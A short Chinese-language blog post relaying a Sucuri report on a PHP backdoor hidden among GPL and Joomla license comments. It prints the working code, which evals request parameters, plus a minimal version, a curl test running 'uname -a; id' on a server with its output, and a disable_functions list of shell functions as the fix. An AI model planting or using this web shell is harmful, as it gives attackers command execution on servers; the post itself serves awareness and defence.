惡意程式、後門，隱藏在正常程式裡面可執行系統指令

Sucuri 介紹了一個特別的惡意程式、後門程式

1. 隱藏在一些 Open Source 程式的正常檔案裡面，肉眼不易查覺
2. 簡單的幾行就可以執行系統指令

底下是 Sucuri 提供的範例

?php
/* GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
..
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
*/Copyright3_6_56()/* 1989, 1991 Free Software Foundation, Inc.
 675 Mass Ave, Cambridge, MA 02139, USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.
Preamble
 The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.*/?>
Joomla! derives from copyrighted works licensed under the GNU General
Public License. This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses. Please
see the CREDITS.php for a non-exhaustive list of contributors and
copyright holders. A full text version of the GNU GPL version 2 can be
found in the LICENSE.php file. A full text version of the other licenses
that Joomla! is derivative of or includes can be found in LICENSES.php.
<? php
Copyright3_6_56();
function Copyright3_6_56(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('', $_REQUEST['gnu']);
eval ($gpl( $_REQUEST['c_id']));
$gnu=false;
}

只要這幾行

<?php
Copyright3_6_56();
function Copyright3_6_56(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('', $_REQUEST['gnu']);
eval ($gpl( $_REQUEST['c_id']));
$gnu=false;
}
?>

然後執行測試

curl -s -d "gnu[]=base64_decode&c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK" "http://1.1.1.1/php.php"

c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK 是用

echo "system('uname -a; id');" | base64

算出來的

這樣子就可以得到 (daemon 是我的 apache user)

Linux xxx 2.6.18-308.4.1.el5 #1 SMP Tue Apr 17 17:08:00 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux
uid=2(daemon) gid=2(daemon) groups=2(daemon),503(access)

解決方式 : 關閉一些 function

disable_functions = exec,passthru,proc_open,shell_exec,system,popen,dl